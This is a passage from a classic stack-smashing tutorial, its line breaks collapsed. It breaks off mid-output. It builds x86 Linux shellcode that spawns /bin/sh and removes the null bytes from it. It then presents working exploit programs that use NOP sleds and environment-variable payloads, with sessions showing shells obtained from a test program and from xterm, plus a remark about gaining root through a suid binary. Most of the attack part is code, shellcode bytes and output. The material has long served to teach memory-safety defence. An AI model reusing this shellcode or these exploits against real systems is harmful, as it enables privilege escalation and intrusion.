: pushl %ebp0x8000491 : movl %esp,%ebp0x8000493 : subl $0x4,%esp0x8000496 : movl $0x0,0xfffffffc(%ebp)0x800049d : pushl $0x30x800049f : pushl $0x20x80004a1 : pushl $0x10x80004a3 : call 0x8000470 0x80004a8 : addl $0xc,%esp0x80004ab : movl $0x1,0xfffffffc(%ebp)0x80004b2 : movl 0xfffffffc(%ebp),%eax0x80004b5 : pushl %eax0x80004b6 : pushl $0x80004f80x80004bb : call 0x8000378 0x80004c0 : addl $0x8,%esp0x80004c3 : movl %ebp,%esp0x80004c5 : popl %ebp0x80004c6 : ret0x80004c7 : nop------------------------------------------------------------------------------We can see that when calling function() the RET will be 0x8004a8, and wewant to jump past the assignment at 0x80004ab. The next instruction we wantto execute is the at 0x8004b2. A little math tells us the distance is 8bytes.Shell Code~~~~~~~~~~So now that we know that we can modify the return address and the flow ofexecution, what program do we want to execute? In most cases we‘ll simplywant the program to spawn a shell. From the shell we can then issue othercommands as we wish. But what if there is no such code in the program weare trying to exploit? How can we place arbitrary instruction into itsaddress space? The answer is to place the code with are trying to execute inthe buffer we are overflowing, and overwrite the return address so it pointsback into the buffer. Assuming the stack starts at address 0xFF, and that Sstands for the code we want to execute the stack would then look like this:bottom of DDDDDDDDEEEEEEEEEEEE EEEE FFFF FFFF FFFF FFFF top ofmemory 89ABCDEF0123456789AB CDEF 0123 4567 89AB CDEF memorybuffer sfp ret a b c<------ [SSSSSSSSSSSSSSSSSSSS][SSSS][0xD8][0x01][0x02][0x03]^ ||____________________________|top of bottom ofstack stackThe code to spawn a shell in C looks like:shellcode.c-----------------------------------------------------------------------------#include void main() {char *name[2];name[0] = "/bin/sh";name[1] = NULL;execve(name[0], name, NULL);}------------------------------------------------------------------------------To find out what does it looks like in assembly we compile it, and startup gdb. Remember to use the -static flag. Otherwise the actual code thefor the execve system call will not be included. Instead there will be areference to dynamic C library that would normally would be linked in atload time.------------------------------------------------------------------------------[aleph1]$ gcc -o shellcode -ggdb -static shellcode.c[aleph1]$ gdb shellcodeGDB is free software and you are welcome to distribute copies of itunder certain conditions; type "show copying" to see the conditions.There is absolutely no warranty for GDB; type "show warranty" for details.GDB 4.15 (i586-unknown-linux), Copyright 1995 Free Software Foundation, Inc...(gdb) disassemble mainDump of assembler code for function main:0x8000130

: pushl %ebp0x8000131 : movl %esp,%ebp0x8000133 : subl $0x8,%esp0x8000136 : movl $0x80027b8,0xfffffff8(%ebp)0x800013d : movl $0x0,0xfffffffc(%ebp)0x8000144 : pushl $0x00x8000146 : leal 0xfffffff8(%ebp),%eax0x8000149 : pushl %eax0x800014a : movl 0xfffffff8(%ebp),%eax0x800014d : pushl %eax0x800014e : call 0x80002bc <__execve>0x8000153 : addl $0xc,%esp0x8000156 : movl %ebp,%esp0x8000158 : popl %ebp0x8000159 : retEnd of assembler dump.(gdb) disassemble __execveDump of assembler code for function __execve:0x80002bc <__execve>: pushl %ebp0x80002bd <__execve+1>: movl %esp,%ebp0x80002bf <__execve+3>: pushl %ebx0x80002c0 <__execve+4>: movl $0xb,%eax0x80002c5 <__execve+9>: movl 0x8(%ebp),%ebx0x80002c8 <__execve+12>: movl 0xc(%ebp),%ecx0x80002cb <__execve+15>: movl 0x10(%ebp),%edx0x80002ce <__execve+18>: int $0x800x80002d0 <__execve+20>: movl %eax,%edx0x80002d2 <__execve+22>: testl %edx,%edx0x80002d4 <__execve+24>: jnl 0x80002e6 <__execve+42>0x80002d6 <__execve+26>: negl %edx0x80002d8 <__execve+28>: pushl %edx0x80002d9 <__execve+29>: call 0x8001a34 <__normal_errno_location>0x80002de <__execve+34>: popl %edx0x80002df <__execve+35>: movl %edx,(%eax)0x80002e1 <__execve+37>: movl $0xffffffff,%eax0x80002e6 <__execve+42>: popl %ebx0x80002e7 <__execve+43>: movl %ebp,%esp0x80002e9 <__execve+45>: popl %ebp0x80002ea <__execve+46>: ret0x80002eb <__execve+47>: nopEnd of assembler dump.------------------------------------------------------------------------------Lets try to understand what is going on here. We‘ll start by studying main:------------------------------------------------------------------------------0x8000130

: pushl %ebp0x8000131 : movl %esp,%ebp0x8000133 : subl $0x8,%espThis is the procedure prelude. It first saves the old frame pointer,makes the current stack pointer the new frame pointer, and leavesspace for the local variables. In this case its:char *name[2];or 2 pointers to a char. Pointers are a word long, so it leavesspace for two words (8 bytes).0x8000136 : movl $0x80027b8,0xfffffff8(%ebp)We copy the value 0x80027b8 (the address of the string "/bin/sh")into the first pointer of name[]. This is equivalent to:name[0] = "/bin/sh";0x800013d : movl $0x0,0xfffffffc(%ebp)We copy the value 0x0 (NULL) into the seconds pointer of name[].This is equivalent to:name[1] = NULL;The actual call to execve() starts here.0x8000144 : pushl $0x0We push the arguments to execve() in reverse order onto the stack.We start with NULL.0x8000146 : leal 0xfffffff8(%ebp),%eaxWe load the address of name[] into the EAX register.0x8000149 : pushl %eaxWe push the address of name[] onto the stack.0x800014a : movl 0xfffffff8(%ebp),%eaxWe load the address of the string "/bin/sh" into the EAX register.0x800014d : pushl %eaxWe push the address of the string "/bin/sh" onto the stack.0x800014e : call 0x80002bc <__execve>Call the library procedure execve(). The call instruction pushes theIP onto the stack.------------------------------------------------------------------------------Now execve(). Keep in mind we are using a Intel based Linux system. Thesyscall details will change from OS to OS, and from CPU to CPU. Some willpass the arguments on the stack, others on the registers. Some use a softwareinterrupt to jump to kernel mode, others use a far call. Linux passes itsarguments to the system call on the registers, and uses a software interruptto jump into kernel mode.------------------------------------------------------------------------------0x80002bc <__execve>: pushl %ebp0x80002bd <__execve+1>: movl %esp,%ebp0x80002bf <__execve+3>: pushl %ebxThe procedure prelude.0x80002c0 <__execve+4>: movl $0xb,%eaxCopy 0xb (11 decimal) onto the stack. This is the index into thesyscall table. 11 is execve.0x80002c5 <__execve+9>: movl 0x8(%ebp),%ebxCopy the address of "/bin/sh" into EBX.0x80002c8 <__execve+12>: movl 0xc(%ebp),%ecxCopy the address of name[] into ECX.0x80002cb <__execve+15>: movl 0x10(%ebp),%edxCopy the address of the null pointer into %edx.0x80002ce <__execve+18>: int $0x80Change into kernel mode.------------------------------------------------------------------------------So as we can see there is not much to the execve() system call. All we needto do is:a) Have the null terminated string "/bin/sh" somewhere in memory.b) Have the address of the string "/bin/sh" somewhere in memoryfollowed by a null long word.c) Copy 0xb into the EAX register.d) Copy the address of the address of the string "/bin/sh" into theEBX register.e) Copy the address of the string "/bin/sh" into the ECX register.f) Copy the address of the null long word into the EDX register.g) Execute the int $0x80 instruction.But what if the execve() call fails for some reason? The program willcontinue fetching instructions from the stack, which may contain random data!The program will most likely core dump. We want the program to exit cleanlyif the execve syscall fails. To accomplish this we must then add a exitsyscall after the execve syscall. What does the exit syscall looks like?exit.c------------------------------------------------------------------------------#include void main() {exit(0);}------------------------------------------------------------------------------------------------------------------------------------------------------------[aleph1]$ gcc -o exit -static exit.c[aleph1]$ gdb exitGDB is free software and you are welcome to distribute copies of itunder certain conditions; type "show copying" to see the conditions.There is absolutely no warranty for GDB; type "show warranty" for details.GDB 4.15 (i586-unknown-linux), Copyright 1995 Free Software Foundation, Inc...(no debugging symbols found)...(gdb) disassemble _exitDump of assembler code for function _exit:0x800034c <_exit>: pushl %ebp0x800034d <_exit+1>: movl %esp,%ebp0x800034f <_exit+3>: pushl %ebx0x8000350 <_exit+4>: movl $0x1,%eax0x8000355 <_exit+9>: movl 0x8(%ebp),%ebx0x8000358 <_exit+12>: int $0x800x800035a <_exit+14>: movl 0xfffffffc(%ebp),%ebx0x800035d <_exit+17>: movl %ebp,%esp0x800035f <_exit+19>: popl %ebp0x8000360<_exit+20>: ret0x8000361 <_exit+21>: nop0x8000362 <_exit+22>: nop0x8000363 <_exit+23>: nopEnd of assembler dump.------------------------------------------------------------------------------The exit syscall will place 0x1 in EAX, place the exit code in EBX,and execute "int 0x80". That‘s it. Most applications return 0 on exit toindicate no errors. We will place 0 in EBX. Our list of steps is now:a) Have the null terminated string "/bin/sh" somewhere in memory.b) Have the address of the string "/bin/sh" somewhere in memoryfollowed by a null long word.c) Copy 0xb into the EAX register.d) Copy the address of the address of the string "/bin/sh" into theEBX register.e) Copy the address of the string "/bin/sh" into the ECX register.f) Copy the address of the null long word into the EDX register.g) Execute the int $0x80 instruction.h) Copy 0x1 into the EAX register.i) Copy 0x0 into the EBX register.j) Execute the int $0x80 instruction.Trying to put this together in assembly language, placing the stringafter the code, and remembering we will place the address of the string,and null word after the array, we have:------------------------------------------------------------------------------movl string_addr,string_addr_addrmovb $0x0,null_byte_addrmovl $0x0,null_addrmovl $0xb,%eaxmovl string_addr,%ebxleal string_addr,%ecxleal null_string,%edxint $0x80movl $0x1, %eaxmovl $0x0, %ebxint $0x80/bin/sh string goes here.------------------------------------------------------------------------------The problem is that we don‘t know where in the memory space of theprogram we are trying to exploit the code (and the string that followsit) will be placed. One way around it is to use a JMP, and a CALLinstruction. The JMP and CALL instructions can use IP relative addressing,which means we can jump to an offset from the current IP without needingto know the exact address of where in memory we want to jump to. If weplace a CALL instruction right before the "/bin/sh" string, and a JMPinstruction to it, the strings address will be pushed onto the stack asthe return address when CALL is executed. All we need then is to copy thereturn address into a register. The CALL instruction can simply call thestart of our code above. Assuming now that J stands for the JMP instruction,C for the CALL instruction, and s for the string, the execution flow wouldnow be:bottom of DDDDDDDDEEEEEEEEEEEE EEEE FFFF FFFF FFFF FFFF top ofmemory 89ABCDEF0123456789AB CDEF 0123 4567 89AB CDEF memorybuffer sfp ret a b c<------ [JJSSSSSSSSSSSSSSCCss][ssss][0xD8][0x01][0x02][0x03]^|^ ^| ||||_____________||____________| (1)(2) ||_____________|||______________| (3)top of bottom ofstack stackWith this modifications, using indexed addressing, and writing down howmany bytes each instruction takes our code looks like:------------------------------------------------------------------------------jmp offset-to-call # 2 bytespopl %esi # 1 bytemovl %esi,array-offset(%esi) # 3 bytesmovb $0x0,nullbyteoffset(%esi)# 4 bytesmovl $0x0,null-offset(%esi) # 7 bytesmovl $0xb,%eax # 5 bytesmovl %esi,%ebx # 2 bytesleal array-offset,(%esi),%ecx # 3 bytesleal null-offset(%esi),%edx # 3 bytesint $0x80 # 2 bytesmovl $0x1, %eax # 5 bytesmovl $0x0, %ebx # 5 bytesint $0x80 # 2 bytescall offset-to-popl # 5 bytes/bin/sh string goes here.------------------------------------------------------------------------------Calculating the offsets from jmp to call, from call to popl, fromthe string address to the array, and from the string address to the nulllong word, we now have:------------------------------------------------------------------------------jmp 0x26 # 2 bytespopl %esi # 1 bytemovl %esi,0x8(%esi) # 3 bytesmovb $0x0,0x7(%esi) # 4 bytesmovl $0x0,0xc(%esi) # 7 bytesmovl $0xb,%eax # 5 bytesmovl %esi,%ebx # 2 bytesleal 0x8(%esi),%ecx # 3 bytesleal 0xc(%esi),%edx # 3 bytesint $0x80 # 2 bytesmovl $0x1, %eax # 5 bytesmovl $0x0, %ebx # 5 bytesint $0x80 # 2 bytescall -0x2b # 5 bytes.string \"/bin/sh\" # 8 bytes------------------------------------------------------------------------------Looks good. To make sure it works correctly we must compile it and run it.But there is a problem. Our code modifies itself, but most operating systemmark code pages read-only. To get around this restriction we must place thecode we wish to execute in the stack or data segment, and transfer controlto it. To do so we will place our code in a global array in the datasegment. We need first a hex representation of the binary code. Letscompile it first, and then use gdb to obtain it.shellcodeasm.c------------------------------------------------------------------------------void main() {__asm__("jmp 0x2a # 3 bytespopl %esi # 1 bytemovl %esi,0x8(%esi) # 3 bytesmovb $0x0,0x7(%esi) # 4 bytesmovl $0x0,0xc(%esi) # 7 bytesmovl $0xb,%eax # 5 bytesmovl %esi,%ebx # 2 bytesleal 0x8(%esi),%ecx # 3 bytesleal 0xc(%esi),%edx # 3 bytesint $0x80 # 2 bytesmovl $0x1, %eax # 5 bytesmovl $0x0, %ebx # 5 bytesint $0x80 # 2 bytescall -0x2f # 5 bytes.string \"/bin/sh\" # 8 bytes");}------------------------------------------------------------------------------------------------------------------------------------------------------------[aleph1]$ gcc -o shellcodeasm -g -ggdb shellcodeasm.c[aleph1]$ gdb shellcodeasmGDB is free software and you are welcome to distribute copies of itunder certain conditions; type "show copying" to see the conditions.There is absolutely no warranty for GDB; type "show warranty" for details.GDB 4.15 (i586-unknown-linux), Copyright 1995 Free Software Foundation, Inc...(gdb) disassemble mainDump of assembler code for function main:0x8000130

: pushl %ebp0x8000131 : movl %esp,%ebp0x8000133 : jmp 0x800015f 0x8000135 : popl %esi0x8000136 : movl %esi,0x8(%esi)0x8000139 : movb $0x0,0x7(%esi)0x800013d : movl $0x0,0xc(%esi)0x8000144 : movl $0xb,%eax0x8000149 : movl %esi,%ebx0x800014b : leal 0x8(%esi),%ecx0x800014e : leal 0xc(%esi),%edx0x8000151 : int $0x800x8000153 : movl $0x1,%eax0x8000158 : movl $0x0,%ebx0x800015d : int $0x800x800015f : call 0x8000135 0x8000164 : das0x8000165 : boundl 0x6e(%ecx),%ebp0x8000168 : das0x8000169 : jae 0x80001d3 <__new_exitfn+55>0x800016b : addb %cl,0x55c35dec(%ecx)End of assembler dump.(gdb) x/bx main+30x8000133 : 0xeb(gdb)0x8000134 : 0x2a(gdb)...------------------------------------------------------------------------------testsc.c------------------------------------------------------------------------------char shellcode[] ="\xeb\x2a\x5e\x89\x76\x08\xc6\x46\x07\x00\xc7\x46\x0c\x00\x00\x00""\x00\xb8\x0b\x00\x00\x00\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80""\xb8\x01\x00\x00\x00\xbb\x00\x00\x00\x00\xcd\x80\xe8\xd1\xff\xff""\xff\x2f\x62\x69\x6e\x2f\x73\x68\x00\x89\xec\x5d\xc3";void main() {int *ret;ret = (int *)&ret + 2;(*ret) = (int)shellcode;}------------------------------------------------------------------------------------------------------------------------------------------------------------[aleph1]$ gcc -o testsc testsc.c[aleph1]$ ./testsc$ exit[aleph1]$------------------------------------------------------------------------------It works! But there is an obstacle. In most cases we‘ll be trying tooverflow a character buffer. As such any null bytes in our shellcode will beconsidered the end of the string, and the copy will be terminated. There mustbe no null bytes in the shellcode for the exploit to work. Let‘s try toeliminate the bytes (and at the same time make it smaller).Problem instruction: Substitute with:--------------------------------------------------------movb $0x0,0x7(%esi) xorl %eax,%eaxmolv $0x0,0xc(%esi) movb %eax,0x7(%esi)movl %eax,0xc(%esi)--------------------------------------------------------movl $0xb,%eax movb $0xb,%al--------------------------------------------------------movl $0x1, %eax xorl %ebx,%ebxmovl $0x0, %ebx movl %ebx,%eaxinc %eax--------------------------------------------------------Our improved code:shellcodeasm2.c------------------------------------------------------------------------------void main() {__asm__("jmp 0x1f # 2 bytespopl %esi # 1 bytemovl %esi,0x8(%esi) # 3 bytesxorl %eax,%eax # 2 bytesmovb %eax,0x7(%esi) # 3 bytesmovl %eax,0xc(%esi) # 3 bytesmovb $0xb,%al # 2 bytesmovl %esi,%ebx # 2 bytesleal 0x8(%esi),%ecx # 3 bytesleal 0xc(%esi),%edx # 3 bytesint $0x80 # 2 bytesxorl %ebx,%ebx # 2 bytesmovl %ebx,%eax # 2 bytesinc %eax # 1 bytesint $0x80 # 2 bytescall -0x24 # 5 bytes.string \"/bin/sh\" # 8 bytes# 46 bytes total");}------------------------------------------------------------------------------And our new test program:testsc2.c------------------------------------------------------------------------------char shellcode[] ="\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b""\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd""\x80\xe8\xdc\xff\xff\xff/bin/sh";void main() {int *ret;ret = (int *)&ret + 2;(*ret) = (int)shellcode;}------------------------------------------------------------------------------------------------------------------------------------------------------------[aleph1]$ gcc -o testsc2 testsc2.c[aleph1]$ ./testsc2$ exit[aleph1]$------------------------------------------------------------------------------Writing an Exploit~~~~~~~~~~~~~~~~~~(or how to mung the stack)~~~~~~~~~~~~~~~~~~~~~~~~~~Lets try to pull all our pieces together. We have the shellcode. We knowit must be part of the string which we‘ll use to overflow the buffer. Weknow we must point the return address back into the buffer. This example willdemonstrate these points:overflow1.c------------------------------------------------------------------------------char shellcode[] ="\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b""\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd""\x80\xe8\xdc\xff\xff\xff/bin/sh";char large_string[128];void main() {char buffer[96];int i;long *long_ptr = (long *) large_string;for (i = 0; i < 32; i++)*(long_ptr + i) = (int) buffer;for (i = 0; i < strlen(shellcode); i++)large_string[i] = shellcode[i];strcpy(buffer,large_string);}------------------------------------------------------------------------------------------------------------------------------------------------------------[aleph1]$ gcc -o exploit1 exploit1.c[aleph1]$ ./exploit1$ exitexit[aleph1]$------------------------------------------------------------------------------What we have done above is filled the array large_string[] with theaddress of buffer[], which is where our code will be. Then we copy ourshellcode into the beginning of the large_string string. strcpy() will thencopy large_string onto buffer without doing any bounds checking, and willoverflow the return address, overwriting it with the address where our codeis now located. Once we reach the end of main and it tried to return itjumps to our code, and execs a shell.The problem we are faced when trying to overflow the buffer of anotherprogram is trying to figure out at what address the buffer (and thus ourcode) will be. The answer is that for every program the stack willstart at the same address. Most programs do not push more than a few hundredor a few thousand bytes into the stack at any one time. Therefore by knowingwhere the stack starts we can try to guess where the buffer we are trying tooverflow will be. Here is a little program that will print its stackpointer:sp.c------------------------------------------------------------------------------unsigned long get_sp(void) {__asm__("movl %esp,%eax");}void main() {printf("0x%x\n", get_sp());}------------------------------------------------------------------------------------------------------------------------------------------------------------[aleph1]$ ./sp0x8000470[aleph1]$------------------------------------------------------------------------------Lets assume this is the program we are trying to overflow is:vulnerable.c------------------------------------------------------------------------------void main(int argc, char *argv[]) {char buffer[512];if (argc > 1)strcpy(buffer,argv[1]);}------------------------------------------------------------------------------We can create a program that takes as a parameter a buffer size, and anoffset from its own stack pointer (where we believe the buffer we want tooverflow may live). We‘ll put the overflow string in an environment variableso it is easy to manipulate:exploit2.c------------------------------------------------------------------------------#include #define DEFAULT_OFFSET 0#define DEFAULT_BUFFER_SIZE 512char shellcode[] ="\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b""\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd""\x80\xe8\xdc\xff\xff\xff/bin/sh";unsigned long get_sp(void) {__asm__("movl %esp,%eax");}void main(int argc, char *argv[]) {char *buff, *ptr;long *addr_ptr, addr;int offset=DEFAULT_OFFSET, bsize=DEFAULT_BUFFER_SIZE;int i;if (argc > 1) bsize = atoi(argv[1]);if (argc > 2) offset = atoi(argv[2]);if (!(buff = malloc(bsize))) {printf("Can‘t allocate memory.\n");exit(0);}addr = get_sp() - offset;printf("Using address: 0x%x\n", addr);ptr = buff;addr_ptr = (long *) ptr;for (i = 0; i < bsize; i+=4)*(addr_ptr++) = addr;ptr += 4;for (i = 0; i < strlen(shellcode); i++)*(ptr++) = shellcode[i];buff[bsize - 1] = ‘\0‘;memcpy(buff,"EGG=",4);putenv(buff);system("/bin/bash");}------------------------------------------------------------------------------Now we can try to guess what the buffer and offset should be:------------------------------------------------------------------------------[aleph1]$ ./exploit2 500Using address: 0xbffffdb4[aleph1]$ ./vulnerable $EGG[aleph1]$ exit[aleph1]$ ./exploit2 600Using address: 0xbffffdb4[aleph1]$ ./vulnerable $EGGIllegal instruction[aleph1]$ exit[aleph1]$ ./exploit2 600 100Using address: 0xbffffd4c[aleph1]$ ./vulnerable $EGGSegmentation fault[aleph1]$ exit[aleph1]$ ./exploit2 600 200Using address: 0xbffffce8[aleph1]$ ./vulnerable $EGGSegmentation fault[aleph1]$ exit...[aleph1]$ ./exploit2 600 1564Using address: 0xbffff794[aleph1]$ ./vulnerable $EGG$------------------------------------------------------------------------------As we can see this is not an efficient process. Trying to guess theoffset even while knowing where the beginning of the stack lives is nearlyimpossible. We would need at best a hundred tries, and at worst a couple ofthousand. The problem is we need to guess *exactly* where the address of ourcode will start. If we are off by one byte more or less we will just get asegmentation violation or a invalid instruction. One way to increase ourchances is to pad the front of our overflow buffer with NOP instructions.Almost all processors have a NOP instruction that performs a null operation.It is usually used to delay execution for purposes of timing. We will takeadvantage of it and fill half of our overflow buffer with them. We will placeour shellcode at the center, and then follow it with the return addresses. Ifwe are lucky and the return address points anywhere in the string of NOPs,they will just get executed until they reach our code. In the Intelarchitecture the NOP instruction is one byte long and it translates to 0x90in machine code. Assuming the stack starts at address 0xFF, that S stands forshell code, and that N stands for a NOP instruction the new stack would looklike this:bottom of DDDDDDDDEEEEEEEEEEEE EEEE FFFF FFFF FFFF FFFF top ofmemory 89ABCDEF0123456789AB CDEF 0123 4567 89AB CDEF memorybuffer sfp ret a b c<------ [NNNNNNNNNNNSSSSSSSSS][0xDE][0xDE][0xDE][0xDE][0xDE]^ ||_____________________|top of bottom ofstack stackThe new exploits is then:exploit3.c------------------------------------------------------------------------------#include #define DEFAULT_OFFSET 0#define DEFAULT_BUFFER_SIZE 512#define NOP 0x90char shellcode[] ="\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b""\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd""\x80\xe8\xdc\xff\xff\xff/bin/sh";unsigned long get_sp(void) {__asm__("movl %esp,%eax");}void main(int argc, char *argv[]) {char *buff, *ptr;long *addr_ptr, addr;int offset=DEFAULT_OFFSET, bsize=DEFAULT_BUFFER_SIZE;int i;if (argc > 1) bsize = atoi(argv[1]);if (argc > 2) offset = atoi(argv[2]);if (!(buff = malloc(bsize))) {printf("Can‘t allocate memory.\n");exit(0);}addr = get_sp() - offset;printf("Using address: 0x%x\n", addr);ptr = buff;addr_ptr = (long *) ptr;for (i = 0; i < bsize; i+=4)*(addr_ptr++) = addr;for (i = 0; i < bsize/2; i++)buff[i] = NOP;ptr = buff + ((bsize/2) - (strlen(shellcode)/2));for (i = 0; i < strlen(shellcode); i++)*(ptr++) = shellcode[i];buff[bsize - 1] = ‘\0‘;memcpy(buff,"EGG=",4);putenv(buff);system("/bin/bash");}------------------------------------------------------------------------------A good selection for our buffer size is about 100 bytes more than the sizeof the buffer we are trying to overflow. This will place our code at the endof the buffer we are trying to overflow, giving a lot of space for the NOPs,but still overwriting the return address with the address we guessed. Thebuffer we are trying to overflow is 512 bytes long, so we‘ll use 612. Let‘stry to overflow our test program with our new exploit:------------------------------------------------------------------------------[aleph1]$ ./exploit3 612Using address: 0xbffffdb4[aleph1]$ ./vulnerable $EGG$------------------------------------------------------------------------------Whoa! First try! This change has improved our chances a hundredfold.Let‘s try it now on a real case of a buffer overflow. We‘ll use for ourdemonstration the buffer overflow on the Xt library. For our example, we‘lluse xterm (all programs linked with the Xt library are vulnerable). You mustbe running an X server and allow connections to it from the localhost. Setyour DISPLAY variable accordingly.------------------------------------------------------------------------------[aleph1]$ export DISPLAY=:0.0[aleph1]$ ./exploit3 1124Using address: 0xbffffdb4[aleph1]$ /usr/X11R6/bin/xterm -fg $EGGWarning: Color name "?^1?FF??V?1??@??????/bin/sh??????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????^C[aleph1]$ exit[aleph1]$ ./exploit3 2148 100Using address: 0xbffffd48[aleph1]$ /usr/X11R6/bin/xterm -fg $EGGWarning: Color name "?^1?FF??V?1??@??????/bin/sh???H???H???H???H???H???H???H???H???H???H???H???H???H???H???H???H???H???H???H???H???H???H???H???H???H???H???H???H???H???H???H???H???H???H???H???H???H???H???H???H???H???H???H???H???H???H???H???H???H???H???H???H???H???H???H???H???H???H???H???H???H???H???H???H???H???H???H???H???H???H???H???H???H???H???H???H???H???H???H???H???H???H???H???H???H???H???H???H???H???H???H???H???H???H???H???H???H???H???H???H???H???H???H???H???H???H???H???H???H???H???H???H???H???H???H???H???H???H???H???H???H???H???H???H???H???H???H???H???H???H???H???H???H???H???H???H???H???H???H???H???H???H???H???H???H???H???H???H???H???H???H???H???H???H???H???H???H???H???H???H???H???H???H???H???H???H???H???H???H???H???H???H???H???H???H???H???H???H???H???H???H???H???H???H???H???H???H???H???H???H???H???H???H???H???H???H???H???H???H???H???H???H???H???H???H???H???H???H???H???H???H???H???H???H???H???H???H???H???H???H???H???H???H???H???H???H???H???H???H???H???H???H???H???H???H???H???H???H???H???H???H???H???H???H???H???H???H???H???H???H???H???H???H???H???H???H???H???H???H???H???H???H??Warning: some arguments in previous message were lostIllegal instruction[aleph1]$ exit...[aleph1]$ ./exploit4 2148 600Using address: 0xbffffb54[aleph1]$ /usr/X11R6/bin/xterm -fg $EGGWarning: Color name "?^1?FF??V?1??@??????/bin/sh???T???T???T???T???T???T???T???T???T???T???T???T???T???T???T???T???T???T???T???T???T???T???T???T???T???T???T???T???T???T???T???T???T???T???T???T???T???T???T???T???T???T???T???T???T???T???T???T???T???T???T???T???T???T???T???T???T???T???T???T???T???T???T???T???T???T???T???T???T???T???T???T???T???T???T???T???T???T???T???T???T???T???T???T???T???T???T???T???T???T???T???T???T???T???T???T???T???T???T???T???T???T???T???T???T???T???T???T???T???T???T???T???T???T???T???T???T???T???T???T???T???T???T???T???T???T???T???T???T???T???T???T???T???T???T???T???T???T???T???T???T???T???T???T???T???T???T???T???T???T???T???T???T???T???T???T???T???T???T???T???T???T???T???T???T???T???T???T???T???T???T???T???T???T???T???T???T???T???T???T???T???T???T???T???T???T???T???T???T???T???T???T???T???T???T???T???T???T???T???T???T???T???T???T???T???T???T???T???T???T???T???T???T???T???T???T???T???T???T???T???T???T???T???T???T???T???T???T???T???T???T???T???T???T???T???T???T???T???T???T???T???T???T???T???T???T???T???T???T???T???T???T???T???T???T???T???T???T???T???T???T???T??Warning: some arguments in previous message were lostbash$------------------------------------------------------------------------------Eureka! Less than a dozen tries and we found the magic numbers. If xtermwhere installed suid root this would now be a root shell.Small Buffer Overflows~~~~~~~~~~~~~~~~~~~~~~There will be times when the buffer you are trying to overflow is sosmall that either the shellcode wont fit into it, and it will overwrite thereturn address with instructions instead of the address of our code, or thenumber of NOPs you can pad the front of the string with is so small that thechances of guessing their address is minuscule. To obtain a shell from theseprograms we will have to go about it another way. This particular approachonly works when you have access to the program‘s environment variables.What we will do is place our shellcode in an environment variable, andthen overflow the buffer with the address of this variable in memory. Thismethod also increases your changes of the exploit working as you can makethe environment variable holding the shell code as large as you want.The environment variables are stored in the top of the stack when theprogram is started, any modification by setenv() are then allocatedelsewhere. The stack at the beginning then looks like this:NULLNULLOur new program will take an extra variable, the size of the variablecontaining the shellcode and NOPs. Our new exploit now looks like this:exploit4.c------------------------------------------------------------------------------#include #define DEFAULT_OFFSET 0#define DEFAULT_BUFFER_SIZE 512#define DEFAULT_EGG_SIZE 2048#define NOP 0x90char shellcode[] ="\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b""\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd""\x80\xe8\xdc\xff\xff\xff/bin/sh";unsigned long get_esp(void) {__asm__("movl %esp,%eax");}void main(int argc, char *argv[]) {char *buff, *ptr, *egg;long *addr_ptr, addr;int offset=DEFAULT_OFFSET, bsize=DEFAULT_BUFFER_SIZE;int i, eggsize=DEFAULT_EGG_SIZE;if (argc > 1) bsize = atoi(argv[1]);if (argc > 2) offset = atoi(argv[2]);if (argc > 3) eggsize = atoi(argv[3]);if (!(buff = malloc(bsize))) {printf("Can‘t allocate memory.\n");exit(0);}if (!(egg = malloc(eggsize))) {printf("Can‘t allocate memory.\n");exit(0);}addr = get_esp() - offset;printf("Using address: 0x%x\n", addr);ptr = buff;addr_ptr = (long *) ptr;for (i = 0; i < bsize; i+=4)*(addr_ptr++) = addr;ptr = egg;for (i = 0; i < eggsize - strlen(shellcode) - 1; i++)*(ptr++) = NOP;for (i = 0; i < strlen(shellcode); i++)*(ptr++) = shellcode[i];buff[bsize - 1] = ‘\0‘;egg[eggsize - 1] = ‘\0‘;memcpy(egg,"EGG=",4);putenv(egg);memcpy(buff,"RET=",4);putenv(buff);system("/bin/bash");}------------------------------------------------------------------------------Lets try our new exploit with our vulnerable test program:------------------------------------------------------------------------------[aleph1]$ ./exploit4 768Using address: 0xbffffdb0[aleph1]$ ./vulnerable $RET$------------------------------------------------------------------------------Works like a charm. Now lets try it on xterm:------------------------------------------------------------------------------[aleph1]$ export DISPLAY=:0.0[aleph1]$ ./exploit4 2148Using address: 0xbffffdb0[aleph1]$ /usr/X11R6/bin/xterm -fg $RETWarning: Color name"???????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????